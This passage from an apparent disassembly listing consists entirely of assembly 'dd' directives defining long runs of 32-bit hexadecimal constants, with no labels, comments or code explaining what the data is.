0A47E1AA1h, 1E3ABE0Fh, 80ED4D1Bh dd 0D2186B7Fh, 61D9CAABh, 585B0E1Fh, 0C2D95A43h, 0C3409DCh dd 12915169h, 59B9D361h, 0EA54A48Ch, 0D50E7499h, 94E87511h dd 43EBC572h, 0C9D6D4C3h, 63613E11h, 0A0990171h, 0B70FDEDEh dd 1500CAC5h, 81EC50AAh, 0B248E8Ch, 19243275h, 0A62604Ch dd 4228DDh, 92B8C1BEh, 0F8ADADD4h, 0BC5B8519h, 490B8663h dd 6692D758h, 37A6EA6Eh, 24075079h, 0AE2C500Bh, 5CA2B5B2h dd 5780B6B8h, 6495A85Ah, 47D4D658h, 97CE903Dh, 2BB3DFFEh dd 0DBB64B50h, 18C6AD20h, 82444CCCh, 14471787h, 61326021h dd 9493235Fh, 6502459Fh, 0C25965A0h, 0B5F4A387h, 23804A4Ah dd 39C29997h, 74AB3A1Eh, 737CF309h, 5B1B4D84h, 75FCE16Ah dd 0A8069254h, 0B6D05CA8h, 33F62B03h, 71AA7A85h, 0D49AA54Ch dd 7F4D7C21h, 0EAA7EF23h, 0DB1F1E2Dh, 2473CF29h, 53B84905h dd 0A6ECE28Bh, 0CF8C8A00h, 0DB9DFA00h, 2D1A2A6Ch, 0EE5E8952h dd 36B689E1h, 73D44A0Ch, 5C6CA0F5h, 775688E5h, 2A19AB64h dd 5C21741Eh, 3538F1AFh, 0DF7CD6E0h, 89BE3EC8h, 198621ECh dd 0C24B70Ah, 55A9BD2h, 0D69E1ECFh, 46D480E9h, 0B6E3851h dd 50598848h, 1FF8Ah, 9CF1A470h, 572AFF73h, 41093BFCh dd 6873B40Fh, 36B1B3F2h dd 72BBF16Ah, 35146D4Fh, 7CCE3A3Bh, 996E017Ah, 0D7FFAD91h dd 0F89D60DCh, 0DE93A8EFh, 5B914B53h, 0D924A7Eh, 1012D863h dd 8062915h, 0D63FBF7Fh, 0D0E41027h, 7AC8D4C6h, 0BE197889h dd 0F67903F8h, 2F9948E7h, 0A86EF7A4h, 0FED4894Ah, 363855F5h dd 0E6D6A5A9h, 0FB01E7E5h, 0C547C314h, 5190D23h, 0CD123625h dd 0FDED2DDCh, 0C4633A78h, 44559DBFh, 1F846FCFh, 73C39EDBh dd 513B809Ah, 5D2B2FDFh, 0A0ACE1DEh, 0C51D1DDBh, 21D14CCCh dd 1AFC59AEh, 1488FA06h, 8B777AF3h, 0E40438B4h, 40E5B24h dd 46615146h, 2DAA0F34h, 0C2EC8F0Ah, 0EDE6ED12h, 5ECCE185h dd 40C08F4Ch, 0DDB116FFh, 0FB79693Eh, 0A39861F4h, 0B8E2E1ADh dd 0E6A910FCh, 807CC93h, 685D9CE5h, 4E5D4D1Ch, 0EBC93C9Dh dd 116CABE8h, 0B3C5E213h, 9779D8AEh, 50806F61h, 8BFE809Eh dd 4B74B7h, 6F38125Eh, 86B7EDAFh, 65D9C710h, 0CAE764B1h dd 0F2D7BCD5h, 3E8BBEF7h, 0CFF1A426h, 0B79F868Dh, 0B6F72702h dd 0DFF00F64h, 383F7793h, 8B359018h, 67493FE0h, 94CDE70Ch dd 3160B952h, 392A1D97h, 855D75FAh, 0C7E5A92Fh, 42F3D141h dd 0AFE5B945h, 0BE304579h, 70BC89DEh, 377BB58Bh, 96F60C4Fh dd 0C98EB704h, 6425FBD8h, 0B0890F0h, 54C554C7h, 93EAECEAh dd 0B5B136EAh, 24641B81h, 785A9C1h, 50CB75DAh, 3C211E8h dd 74891ED0h, 4D679F8Ah, 6A179D0Ah, 0B6C8D627h, 0D3520DB9h dd 0EC054933h, 15DA3A81h, 8C225F6h, 7E40B606h, 4B25D44Fh dd 0B92F3017h, 25DBB46h, 33AC522h, 8A8F3E1Ch, 7A9408FBh dd 0BEA885F9h, 0FDA6FA93h, 0ED12392Dh, 0B7CEA5E1h, 0D275D0F3h dd 0E2C068AFh, 26F79A90h, 7C6CDCB1h, 0D33E3D1Eh, 0F21F97E8h dd 589E4FAAh, 63DDB077h, 24ED3DAh, 25E00976h, 9CF9ED41h dd 0D6CDD816h, 6666E2F9h, 9C2AB094h, 4852808Fh, 92D69138h dd 985AF57Bh, 11500317h, 0EDDF12FDh, 74946E4Ch, 0A9904113h dd 0E5D33F0Eh, 0B4E3364Ch, 768E380Dh, 5DC86EB2h, 0D407560Dh dd 0AD7A209Dh, 0A8FC425Eh, 0ECAEBF78h, 2812FFDFh, 0F15C974Ah dd 51A86985h, 90CA9405h, 3DDCC79Ch, 8E2E40C9h, 9EB6C94Fh dd 0EF3E0D81h, 0C3F5670Eh, 85BB252h, 1D4D8B4Bh, 0AA86FD42h dd 75715BCDh, 0C951F1EFh, 1B4EDC5Ah, 34855635h, 1FD39BCDh dd 538DDC35h, 36568E7Fh, 26E71CD5h, 6BF225D3h, 861F3A29h dd 8EACBB6h, 0D2329520h, 0A3CF7106h, 6AF76EE1h, 6258D596h dd 7B6181EFh, 0BAA4C901h, 0D3426DC8h, 332EDB1Ch, 0CCDE4835h dd 0A9698BA5h, 0FEBB80B2h, 0DCE97FC6h, 44518F8h, 95E25257h dd 0EBF49C33h, 94D4FF63h, 7480523Dh, 0B0DB48ADh, 1ED16CCBh dd 0A92997E9h, 0A01BBBFFh, 0B3BE4908h, 78B7CBC2h, 7A2EE2EDh dd 9637067Eh, 0C5751F69h, 7E0D6AE3h, 0C35BE062h, 1324D665h dd 2C748F34h, 492BCC63h, 222C46C6h, 0D32A6065h, 2DB734C0h dd 4E19F533h, 0BFAFA1C5h, 0C2F962A6h, 23ED7963h, 8F501ACEh dd 0A79D14F7h, 46407375h, 0C515FA5h, 5A9423FAh, 17397A5Ch dd 74A18522h, 0BBB85786h, 0FA049B2Dh, 4A2C8F35h, 0EDCCEA7Fh dd 0D459D58h, 8013BC61h, 4B4DA7AAh, 14898B8Bh, 5956E651h dd 1C1DF62Ah, 0A1141D9Ch, 0BDA4814Fh, 0DF86D397h, 601804F6h dd 78B6DBE7h, 4B5AD075h, 91875111h, 432C9D35h, 0D75289E4h dd 2CAF63Bh, 450C704Ch, 0C3150525h, 0EC449CAAh, 0CCFEBDCBh dd 86798AFFh, 53F7D504h, 2FB3A67Bh, 4F4D8318h, 958284ACh dd 16E676D4h, 0E253A542h, 54D49E62h, 0EE07BD5Ch, 95049DDCh dd 1EEA1F35h, 0B022D946h, 97894787h, 0FC163722h, 696BDF33h dd 0FD9EC98Dh, 0D78D721Eh, 27230AEDh, 93F7160Fh, 9AE5B8F0h dd 3694A535h, 0A3CA4BAh, 7EEDCD8Bh, 38996BE5h, 0FAEDE435h dd 9A66ABEFh, 255EC461h, 1F59F9CCh, 317F4522h, 2CB87BDCh dd 0E8B6C0CFh, 3E2C634h, 3C675E77h, 8D63D042h, 4186C7B1h dd 766B8883h, 624BA31Dh, 0DAB5BD5Dh, 0FA0541C8h, 0C1279FDFh dd 9C9ACB36h, 2950C74Ah, 97D748DAh, 504756E3h, 0CBDCD382h dd 75D3938Fh, 4D2C3621h, 7FE6D692h, 0CD18FA00h, 51FBF0AFh dd 0C8DC1F1Eh, 0E374C312h, 0B5BDD815h, 0FC4311F2h, 0D80A8020h dd 0F19649F4h, 5C16B675h, 9975315Dh, 0BA22368Eh, 0FBE78A93h dd 525336DBh, 6E07ED3Ch, 0E5C67D2h, 98093759h, 0EF8FEB21h dd 2484532Eh, 30A881FBh, 2A67FA1Fh, 0FF705960h, 0ACD133F7h dd 3D125E1Ch, 779F6FF7h, 0BF5C2C3Ch, 67061642h, 0F7C0652Fh dd 7EA1995Bh, 0E02953D3h, 276EE298h, 79AAC09Eh, 0A651B5F7h dd 5A68EAE4h, 0D433F610h, 96CD5464h, 27A09CB1h, 0B5ABF80Dh dd 0B8434839h, 9788CD18h, 49FE5A48h, 6847C7ECh, 0E8A8776Fh dd 6DFECAE1h, 0F6B745EDh, 3F22A8C3h, 0A9DFDA1h, 4EDFA368h dd 0EEAEEA16h, 122602C5h, 5C7F7815h, 0DA9F2F50h, 0D58F79F9h dd 0A3E6657Bh, 0A76FA82Ah, 0F05F39A6h, 0FB147115h, 0A530381h dd 0AE3B6BBFh, 0F8BBB6C1h, 0B0A080C3h, 81B50136h, 11D3212Eh dd 0F90DDCECh, 657C9E5Eh, 5E3A0B74h, 822D7BFh, 79D2F2E7h dd 0F3A9CDC9h, 826B6C7Eh, 6EB5C286h, 92CFD744h, 18674B7h dd 115035CCh, 0B7974B0Dh, 31900B8Bh, 9EFBAB31h, 1224A110h dd 2D477300h, 0DFCDADFAh, 0F2879C6h, 0B194B1FFh, 25820217h dd 0FAE15C3Ah, 0CB2A38FFh, 0ADB8722Eh, 6868EE9Ah, 8D2D7BCAh dd 74D9E0EDh, 0D4C66F10h, 0A5B1260Fh, 7F2B5F6Dh, 0BFAE53B0h dd 67564EDAh, 73EB6C34h, 0BBCB1BF3h, 0C51BB8BBh, 9231114h dd 6E9932DBh, 9792519Fh, 2DA37F0Ch, 83D80B8Ch, 0F7377DFDh dd 75CE3CF5h, 0CAE8F6DDh, 52255727h, 40C086F8h, 1266A505h dd 78649D9h, 5F5D3817h, 0F4605497h, 0C2FEF4CCh, 0A97FC5FAh dd 0F1B9D3ADh, 69AAF61Fh, 2502A553h, 0CA77F925h, 54C55F75h dd 0AD388249h, 0E7390430h, 4E86479Dh, 0C3190D8Ah, 6D042DB3h dd 0AB73F898h, 5496C17Eh, 82713E16h, 9841B108h, 438EB878h dd 9995FD1Ch, 4677D193h, 987D2FD2h, 5063BE0Eh, 93241FE2h dd 6A235CF3h, 0A731B2E9h, 88A950B7h, 0A30E03CAh, 19FC7B0Eh dd 4E9324B1h, 32CF446Dh, 327DA595h, 0D68AA39Ch, 6ED2A44h dd 981CBE02h, 9791DB77h, 676E1EF5h, 65180C89h, 0AEB562C3h dd 222C7C45h, 43EF549Ch, 58FEE4h, 3E37C5FFh, 1ECA4B18h dd 4D5FC51Bh, 56BDDB5Ch, 0E7931BFBh, 7840AAA1h, 84D82991h dd 9E6AE41h, 0F07F71C2h, 0A1EDB454h, 0DA33C647h, 8C835B1Fh dd 177F19D9h, 4E78BA1Dh, 0DD1A1A6Fh, 0EAA8C0ACh, 28E31186h dd 0AA6737BAh, 88F42C15h, 83F37BFBh, 0A9E3B1Ch, 0A94472DEh dd 4A233986h, 26FC6A1Ah, 0A0768589h, 0AFB1CD2Dh, 9C30E199h dd 39CF39DBh, 47C0E2ADh, 1506BDDAh, 0BB1286AFh, 0E58E1532h dd 0F3449DFDh, 4E2BBA8Ah, 0E3ED73BEh, 0FA417DAh, 242F5FC1h dd 76685335h, 9497CE2Ah, 22713087h, 11B28550h, 0A0BEE646h dd 566D5E53h, 5272F935h, 6917A364h, 0E68BA021h, 70348611h dd 5184C661h, 479E87F8h, 3737A7DCh, 5FC1BCD9h, 9C011118h dd 0C8DA0354h, 0C3181993h, 0FC2CC723h, 125B3683h, 7B8AE563h dd 0B572D42Eh, 0E779E680h, 6A43C23h, 60C3B2D3h, 0B6C42102h dd 16AC0A26h, 0DA36B2BFh, 42ED284h, 6E22D4h, 57EEBFE2h dd 9CE0710h, 0C3217614h, 0EB51BACBh, 136B73A0h, 567A74C5h dd 99C9928h, 0FCBEFCA8h, 9A7016A4h, 403852E0h, 1B21C581h dd 0ADF5EF5Bh, 0A27DA8CEh dd 843A47ECh, 0C91E6151h, 3A9302A0h, 9E0CCA69h, 0FE5EA800h dd 1699C23Ch, 0A0873675h, 0F1A31714h, 64F91FCEh, 0CADCD969h dd 297398F2h, 0F4EC5F62h, 0F374728Ah, 2D1EC0ECh, 9BCC47E1h dd 869DDC2Ch, 0D6B9FE6Fh, 0FDD804F3h, 0AE83983Dh, 91246A58h dd 0B837D09Ah, 95937C35h, 0BD7739Fh, 2DE70B23h, 696426C9h dd 2C3879B8h, 3DBD2F12h, 2DB32D80h, 17C63DB4h, 3285D724h dd 3C9CAADDh, 93ECD0BFh, 0FFD309C9h, 0A0F87F29h, 96DACF80h dd 0E2F7482h, 272A1067h, 94C3D344h, 0D4B77F26h, 253E4933h dd 2D5EDB63h, 89135C34h, 749D7462h, 162D9F2Dh, 4BE4BE46h dd 0B3557545h, 4139D9E2h, 27D79F8Ah, 17F2E042h, 0A2486C69h dd 0A9236C46h, 0D180E79Bh, 3354BE1Bh, 0C15547C3h, 6639CC8Dh dd 0B766018Eh, 7485AE9h, 0AEB3DCE6h, 3A41BD5Ch, 0B6211131h dd 79DF2817h, 6CF9F84Dh, 0A3462808h, 0AB3A6AEBh, 5133DC7Dh dd 0AAD95EA7h, 384FC98Bh, 917C3B6Ch, 0A19795F5h, 33ED07E1h dd 0D96D9704h, 4E80A3A1h, 9357575Ah, 901DFD95h, 0E7C67BB3h dd 0EBF469EAh, 0F5DAAB57h, 98FF4B04h, 31BF2FDAh, 97F860C7h dd 56EC2C7h, 46CF12D8h, 59C59A50h, 9CFF0EB5h, 0F978DB68h dd 47F8780Dh, 120EC60Bh, 520FB23Bh, 3BDDED37h, 9E5E74E2h dd 0C8999D99h, 9E3D000h, 2F32D927h, 6A4DBD19h, 0C5F5CC72h dd 0CDB9E3D7h, 19E296C5h, 0F506DCF6h, 0D94127A9h, 325CE8E6h dd 89317629h, 0CE0F218Ah, 0AE4E30E3h, 755D6E7Fh, 320A18A3h dd 0C81A7AE5h, 7CFCE48Bh, 4E2AB297h, 786C86BBh, 9A725DF0h dd 0A410C84Bh, 1B272774h, 7089917h, 3BD1BE5Bh, 0C90DE5C4h dd 3BD3EF43h, 0C4CB457Dh, 0C0D066D7h, 3BE32709h, 63FA09C2h dd 0F22246BBh, 60859F3Fh, 0CA46D428h, 7DC8D15Bh, 0AF231577h dd 94572A4Ah, 0DD60169Dh, 8728145Ah, 8126556Bh, 0A4A6F37h dd 0DC01478Bh, 189FE6EAh, 1992E7B1h, 89D5C85h, 0CCD00E5Bh dd 0EF1B2776h, 0D8578115h, 0DF8F4974h, 0DEDB8F0h, 25FE35D3h dd 698E9A80h, 10877509h, 0DA0601Eh, 8288A0FCh, 0F4E037D8h dd 0FDF60861h, 0D2BECAE5h, 0E362763Bh, 8C8AFFCAh, 0EE4FD4DEh dd 11846A6Fh, 5643FBB1h, 98426E4Bh, 998CA941h, 54671FAh dd 994C5A4h, 0FB94A331h, 0B06E754Dh, 66767A6Ch, 12DD9F07h dd 1F57AD3Ah, 7B9A610Bh, 7FE8C9AEh, 0A0ADF322h, 10741FE2h dd 40419027h, 0E536F569h, 7984FEBFh, 0BE2724C1h, 129D5355h dd 92153ECBh, 66F3F2F0h, 248EE303h, 0E81AFF73h, 0A1679BAEh dd 31CD7678h, 50A15798h, 285B825Eh, 3B1673AAh, 81ED8C3Ah dd 3B979C5Fh, 4F2A9DFDh, 19C72105h, 76CC4BA3h, 0D3E145BAh dd 0C7AC62CDh, 4A740157h, 0E1B3698Ch, 0A600336Ch, 72474D8Bh dd 38EE707Bh, 0A8BA1762h, 4D8C85F9h, 0AA32A56Dh, 0C4A662E8h dd 0AEDD3D26h, 7503DBBEh, 0D9FFAF63h, 0F9FA045h, 76E27672h dd 554ED981h, 0DF389B90h, 7CDFEBF0h, 7E7A3A0Ch, 4A800ADDh dd 0E6FD9FF4h, 5E819E57h, 0F4AF3DBh, 0C5186F95h, 54C0DCAFh dd 70EE1DB5h, 0A623299Dh, 0D032C5F4h, 33D3D82Bh, 53E23E25h dd 0B185B5E4h, 8477A7CDh, 0AC50D9Eh, 0A55CE322h, 0C86A8A58h dd 0B675CC4Dh, 0EBF7BB02h, 0E3B084CAh, 16CFC010h, 8083BF24h dd 0D0917B75h, 0E08B3AB5h, 857B260Ch, 5A37F9F4h, 0D500D67Dh dd 0F38BFA0Bh, 0E7B4D6AEh, 0AC8E0B0Eh, 0E65CFD06h, 1043158Fh dd 58C30FDAh, 0A5C87640h, 1C9DCA7h, 0AD58ECBCh, 78989CEh dd 98CAE0A1h, 395ED9E5h, 0CF34DCAAh, 115AC73Eh, 0E5949921h dd 0CA90B2DDh, 5AFC20Ch, 5BA81010h, 2C06840Ah, 0B94E48A8h dd 0A73897E8h, 0B151694h, 51F1C7C5h, 2FD9B6B5h, 3BE1F9B7h dd 8899A223h, 0AFDC83C9h, 1E8E8B7Bh, 0C6A5CFAFh, 0EF72BF9Eh dd 0E3952434h, 0FB53062Ch, 3DF186B2h, 2FC954DEh, 99F02710h dd 4E1D2D46h, 2E9B636Eh, 5230FC7Ah, 3D8BE928h, 0C57301B5h dd 6ED8EA2Fh, 29BE6544h, 94B78C38h, 0A0C61F6h, 4F24576Ah dd 0B3D5FEh, 0F759501Fh, 4085866Dh, 87EFC113h, 0B73D5DB3h dd 85388BBFh, 26AAAB2Ah, 1E29F397h, 0C133B4EBh, 9F045222h dd 47C283Ch, 62CC0940h, 0E091DCA3h, 0D33A9518h, 9D7692FDh dd 500C5269h, 89F437C8h, 6A4FF16Fh, 7E1DDBA4h, 6DBCD6B8h dd 0C2A1DFFBh, 0D300CCE8h, 0DF6BDA32h, 2F9411BBh, 605D553Eh dd 2A3C0A11h, 0D5FE8B99h, 6ABB9D8Ch, 0BC3ED7F9h, 1BECE819h dd 9A86536Dh, 0E70BF968h, 0BE0AD0D0h, 0A43EF80Eh, 6DFBE95Ah dd 92E9BA37h, 0DB5357C3h, 71F02807h, 852A0E26h, 8A4F481h dd 0CAF90AB5h, 2D78FBA8h, 2D5BE632h, 0D065A2ADh, 0EC4715AAh dd 8A538A62h, 0E02211FFh, 0ED014E4h, 0B5F6170Ah, 8A9207DBh dd 182AD796h, 21DF6DF9h, 673C0580h, 0C72EA179h, 49CB7FEBh dd 0B5C4457h, 0E3F0F655h, 0B3AAE6C4h, 0E788DD31h, 4744CD22h dd 7B6FE2D2h, 5BDA4958h, 0FE2ACABFh, 0E4BA6B86h, 360ED8C4h dd 0AE55FA24h, 5369A3BEh, 0DBC3132Ah, 0FAF25885h, 0DD6F75E0h dd 0DDEB5D4Ch, 0B42FF92Dh, 65D65C7Ah, 5FC505F4h, 0C7510BF8h dd 808A92B3h, 0A28A5371h, 0D3FEADF6h, 81CFBEF5h, 0CE21ED68h dd 0C4DF420Eh, 685CE887h, 1B3D82FAh, 74F94276h, 0A3835E16h dd 0F026376Fh, 1331B6BCh, 542CF97Eh, 0ACFF1BBBh, 0FB938178h dd 29925A7Eh, 827F4BEh, 134474E8h, 80A06F30h, 53E4181h dd 7652915h, 0AA75A624h, 71AE6AC2h, 93CA68C9h, 2F6AC50Ah dd 2D53CB26h, 838FDD5Bh, 7E6C2BF9h, 37E173A7h, 16F9C8DCh dd 27B876A1h, 9ED0C2BBh, 13567C13h, 5ABCCE60h, 0ADA0D0C9h dd 0FBFCA4D1h, 0BB59125Eh, 0CDEF8363h, 0CD11E381h, 0A4D12BDAh dd 30AF7DC5h, 23406589h, 65215598h, 0AFC3A3E0h, 0E018E62Ah dd 0C776FEACh, 0D444C0CBh, 3323A9ACh, 17A2513Dh, 0C4FF98D7h dd 1D17B3F4h, 0B2120C74h, 967DB67Ah, 0F8BAD76Fh, 0B4BCBBDBh dd 192C21B0h, 74FF0595h, 0DDCCD671h, 3E26185h, 5F8561Eh dd 45B47C9h, 0FD1FEDA4h, 0D58428A8h, 410D7F04h, 7A13F3C0h dd 33137177h, 1A37FFD1h, 0A8E3AB57h, 0C43A030Ch, 0BEE0AB57h dd 0E3EC4005h, 46C176BCh, 6E7CBA3Eh, 689FEB6Fh, 9EE2FFE3h dd 65900D6Ah, 72A9699h, 78798027h, 5803E549h, 1AFF66B9h dd 0BAF11E56h, 6A8EC53Fh, 0C13FDD55h, 0C07BE5D2h, 87F108D2h dd 7623A376h, 0B42F148Eh, 69F5DB73h, 0B8F96C48h, 0B321411Dh dd 360B982h, 0EACD91F2h, 0AA4321CFh, 741772BEh, 0B1C77A79h dd 0F476E58Dh, 4D759B0Fh, 0BD2F27CFh, 0AB2E3360h, 3AC19054h dd 75E812E9h, 73FC2E8Ah, 1F6A081Ah, 73F94B32h, 1FA0F13Fh dd 64EC1874h, 0B412245Eh, 9407EEBCh, 38A29240h, 2D95A65Fh dd 4954E3F2h, 9636DCB8h, 0F7BFEFAAh, 0D0D4B2D2h, 25507600h dd 113E34EEh, 0FD8A3A23h, 0D05AFF6Fh, 0E33A6A46h, 6B7C5630h dd 0AC862874h, 9B65CAD3h, 29374DD4h, 0C0DF83B3h, 343E9DDFh dd 0BF0C963Dh, 0C953C441h, 33EE3E7Dh, 668BF711h, 16E3DEBAh dd 0D409EB69h, 8085FAD2h, 5C77AB36h, 3CE9FF12h, 633FB44Bh dd 4BCFE049h, 43AA507h, 0EDB1BB6Ah, 3BDB5B6Fh, 8EA5DAD8h dd 2BC667B3h, 9731975Fh, 6011B84Ah, 0C1DDCE3Bh, 15E61087h dd 0C0EA444h, 0A7271E0Dh, 57C7C6F8h, 0FAD4B20Eh, 701F8949h dd 6CB087CAh, 8FDD77FFh, 0F9B8FC81h, 55F09C05h, 0A8740B4Fh dd 60DA643Ah, 0F9505CD2h, 9A376FB8h, 5917E93Dh, 0FF4F04CEh dd 2FF3BB86h, 64ABE43Dh dd 24E66C40h, 0CD64CA4Bh, 0BF2EF9FCh, 90ACDE1Dh, 723A3891h dd 644FBF54h, 0F2D85BBFh, 0C7AB961Dh, 8D287468h, 0B73997Dh dd 0FEB2D882h, 0BC24A40Eh, 7F0EFFF1h, 32C660BEh, 9B6A380Ch dd 2257BC71h, 7A1E76FCh, 0FD3B2313h, 5DC48086h, 0A47FEF81h dd 473F85A0h, 0FA72A0D5h, 3A554FF5h, 4160C749h, 7DBA95D5h dd 80A11DACh, 2897608Bh, 72D37371h, 5907729Ah, 5FE9D909h dd 611809DBh, 0B2A8B6C4h, 74A20EABh, 0CEAE039Fh, 4EBEE936h dd 0D151E3E2h, 81DF8474h, 0E1928AB8h, 78E7845Fh, 37953848h dd 4961A915h, 0D429912Bh, 7EA74B41h, 0D54A259Dh, 0B2A66943h dd 0C09EDF43h, 2C477772h, 0BFC0CC07h, 3294BC76h, 9B676AE5h dd 1B974304h, 1016B482h, 6E9BB4C5h, 5F6B710Fh, 2211FCFh dd 0BEDA7624h, 204BED8Dh, 0DBAA8A6h, 0A2344B29h, 171E6CB0h dd 8375823h, 6C42229Bh, 1C2196F8h, 0CC6FCDB8h, 53B81E8Eh dd 0D0E0B14Eh, 0C9EDA755h, 0B361089Dh, 5596EF80h, 0C3F4C793h dd 0BFCBC821h, 28242888h, 106B36ADh, 0EF53480Eh, 0E2FF96EEh dd 2DE098D6h, 7DF3C901h, 0C7A8E603h, 0A7E7E1A0h, 0DB2FDA6Eh dd 0CB5C685Ch, 75EDEF98h, 0ADFDBFCEh, 3810BD8Bh, 0A9A5BA3Eh dd 0F0A0A0D6h, 0C801F55Bh, 91E404B2h, 0EF676188h, 91803CACh dd 8ACADC6Bh, 0CB21E157h, 64522CB4h, 466B07C5h, 96970BDFh dd 5133C26Bh, 0F8E278D9h, 2600A7F2h, 0B364169Dh, 0FFFFC6C5h dd 0BAEAEA6Fh, 0DD344D42h, 0D548F160h, 5C3E828Fh, 0BFD3575Dh dd 75B0D663h, 0BB9034B1h, 0F648D7C2h, 31D0C222h, 0B3B32A46h dd 6E313D8Bh, 0CFF853BAh, 0CC6C27CFh, 0BEA716F7h, 0FE6BDF71h dd 5F67A74Eh, 0F827D635h, 4B1E897Dh, 768B6F5Fh, 0D3041D2h dd 3755CAEh, 3BC39DDBh, 222658B6h, 0EE692C28h, 0CA54DD35h dd 8ED8B526h, 8F1C5E2Ah, 74697AF5h, 0CC8AA874h, 7D7A4766h dd 0F637F434h, 768575B9h, 12661704h, 10824F4Bh, 9DC8E61Eh dd 3C506234h, 9E252264h, 0E1BF841Ah, 0CD6DB28Dh, 9EAA4D36h dd 5D138BD5h, 0BCF3CAE7h, 5B620CBFh, 185AF4C0h, 0A5E6AFC6h dd 288B68C3h, 1EC4BD1Ah, 3030815Fh, 0BFF2CCA2h, 153EF93Ch dd 1AA16AD9h, 0AAF00504h, 710D775Bh, 3CADF805h, 0E1B4D309h dd 0C305AAFh, 0EB8FA016h, 8D979563h, 3F1CACD4h, 0DB98617Eh dd 69EB30B9h, 2DAFC3F4h, 0A041925Dh, 0A2543BF0h, 79CF1481h dd 0D72969CDh, 9CF65214h, 99541358h, 12CA7BA6h, 80B1B7B1h dd 21D091ECh, 0FA7D3838h, 0C163D034h, 0A0D855B1h, 0FFFC1A55h dd 0C133204Ah, 0E4944247h, 90E97258h, 9FAB6C96h, 3181834h dd 0F4DE27A8h, 41C17915h, 4B27E497h, 0E1915584h, 0BE81C19Dh dd 1E4AA9E5h, 3511856Dh, 32C8ED09h, 0FF5B9849h, 8552C755h dd 0E5CD27FCh, 807DA863h, 0B96D5D37h, 0FB1F7B39h, 0B4059C0Ch dd 32D95776h, 0CA2432EBh, 931390C5h, 0DDC9EE1Dh, 105FAC6Dh dd 5AC3B281h, 0F9377CC8h, 3EE9DF21h, 201D2D6Dh, 61FD75A1h dd 0E88EDCDFh, 0C8F576B6h, 2080897Ch, 240D0008h, 0C15E7F50h dd 69B49E8Ch, 50594C7Eh, 78E03C77h, 0EAAF2AE1h, 0E8A03C80h dd 0E66992AAh, 0CD023D68h, 26E33868h, 96ACDD81h, 1C257494h dd 0B625CB5Fh, 0BB6E38ADh, 0F3937403h, 1B234234h, 0A3E03F99h dd 78C25AA0h, 0CF4BF776h, 8A10BAEDh, 0A2D6E2F7h, 0B101C812h dd 0F906E2EAh, 0DB2645E3h, 0B4D5EEBEh, 3E95B272h, 0E06C0603h dd 23AE1252h, 0C41E1FACh, 0EB8E1D81h, 8D2EFDF6h, 73C3C8E5h dd 76A2BAAh, 6F4D9949h, 0E811CF8Ah, 50F94865h, 0BAE382E5h dd 0DEC44748h, 18020DCAh, 0EB5C1524h, 0E90D48B2h, 0B7A0BD46h dd 2429CB37h, 28C0CB57h, 1F395D50h, 0CBE2DF2Bh, 566749D7h dd 177FC5F6h, 535EFD26h, 0B314CE79h, 4D1FDDA4h, 0B297C22h dd 1D6AF40Fh, 64C2DE76h, 2B983C9Ah, 7D9831ACh, 3584500Fh dd 703009DAh, 0C3CAB622h, 4913C177h, 58440662h, 0D6153BB3h dd 6166502Eh, 0F851D8AAh, 6AC2299Ch, 9A41B336h, 98329DD7h dd 9EDC49A8h, 2FAA7D1h, 0E9BDC8BBh, 0E05DE34Fh, 0DE53928Ch dd 92B0D3BDh, 0BB7D6388h, 453D1568h, 998625FEh, 410BCBB7h dd 6BA63CD3h, 0CF41AAFBh, 0AE10EE33h, 3B97B8C4h, 27FDE169h dd 13064759h, 0B484D5C9h, 49B4D399h, 8595F7DEh, 794C5EF4h dd 7CFB6D3Ch, 0D827EF9Ch, 3D04C47Dh, 37F81CF0h, 0BD6DD362h dd 4C0E55E5h, 0F1A1EBE6h, 1AAC26A1h, 67F54595h, 32B12CFh dd 0EBBFCE02h, 0E27FB507h, 0BB267A46h, 45AA90D5h, 0A10EFE7h dd 0A59CA168h, 1D906BBDh, 0C9F9972Fh, 0AE022DDBh, 242B1CDEh dd 383B6848h, 4D2C1428h, 0FFF035A8h, 0FB0F8725h, 1A6EAAB4h dd 7D8FDFBAh, 0A04959C2h, 0F0D7AF26h, 9A09B50Eh, 0B83B5FEFh dd 0D1C636A1h, 7946C76Bh, 0A27B1DD4h, 0CB710D02h, 0E5CD95D2h dd 4700C518h, 590E5872h, 0D684641Dh, 0E84AA4Bh, 9857D6F5h dd 0E971FCFAh, 4D1BC4E6h, 52BB4E91h, 1065CA76h, 0D13BC89h dd 3FCF986Dh, 56023F20h, 3252B5F2h, 0EA9BF028h, 0CDE7A5DBh dd 34251D2Eh, 9F70D93Ch, 2A11E019h, 6E557196h, 0A3681EDDh dd 9B688A28h, 30CD91D3h, 0AEE3E3Ch, 0DE71D696h, 0D19D7EF9h dd 588BE635h, 517D8843h, 26552240h, 669777D3h, 0A3B22AE2h dd 0CDFFF29Dh, 2F50A3EEh, 0FBC1FB8Ch, 25BDD88Ch, 98D6CD9Ch dd 0CAAAE29Ah, 9EEE2034h, 0BB376248h, 0C03F02E0h, 0C8D7926Dh dd 683E222Eh, 0D72DE7CFh, 60810DC1h, 0CEAD8618h, 0FC406019h dd 0FCE0B080h, 0B131EF16h, 71F5FE9Dh, 9B2E2FEh, 0F7B29375h dd 1DCCC780h, 0F0CD716Fh, 0E2DE317Ah, 49D7A51Fh, 0B07EF51h dd 72DC248Ah, 0DBC04CFh, 0D6C75260h, 0E5356DE8h, 48AB2E4h dd 3C823D0h, 0BA74ABDFh, 0E995F7E7h, 1D4AC217h, 10DF02E2h dd 28D58803h, 8CBC5145h, 0A41C5C0h, 0B7A6E13Bh, 0FB2AA952h dd 0DB2CB888h, 0DC58B64Dh, 0E9EEAFC5h, 923FFDA1h, 0B35A33FDh dd 0F0C6898Ch, 6AF35D49h, 8E44DE52h, 36765EACh, 13A95B7Bh dd 0F4375AF0h, 0CF45EFEAh, 9E7F5028h, 36ECEC73h, 11AB7338h dd 25284908h, 0F021BF3h, 0CA8B7386h, 0AA2E27D4h, 4AAB37E4h dd 95FFD749h, 0DBF47270h, 0AFDEAC10h, 84D4B473h, 0AB311DECh dd 0FBAF71BCh, 1B34FC45h, 149FE9B2h, 6A8B86BCh, 0EA496343h dd 4B646779h, 706A515Ch, 6E270976h, 0FC83E1BFh, 2E15E0F9h dd 517F3286h, 68AE4FA3h, 0B581502Fh, 0E5395F68h, 6FB3BDE8h dd 3861EA58h, 341BC00Dh, 0C21586E6h, 5CBE2A2Bh, 0D44DE6A4h dd 681A3E5Dh, 2CF00014h, 0A11971CDh, 0B52E7F72h, 14B578Eh dd 0D5F117C2h, 9A957411h, 0FE5EB3CBh, 0BAC54293h, 2A1B6643h dd 0ED2A73C2h, 9CD8DA7Dh, 13BCBE2Bh, 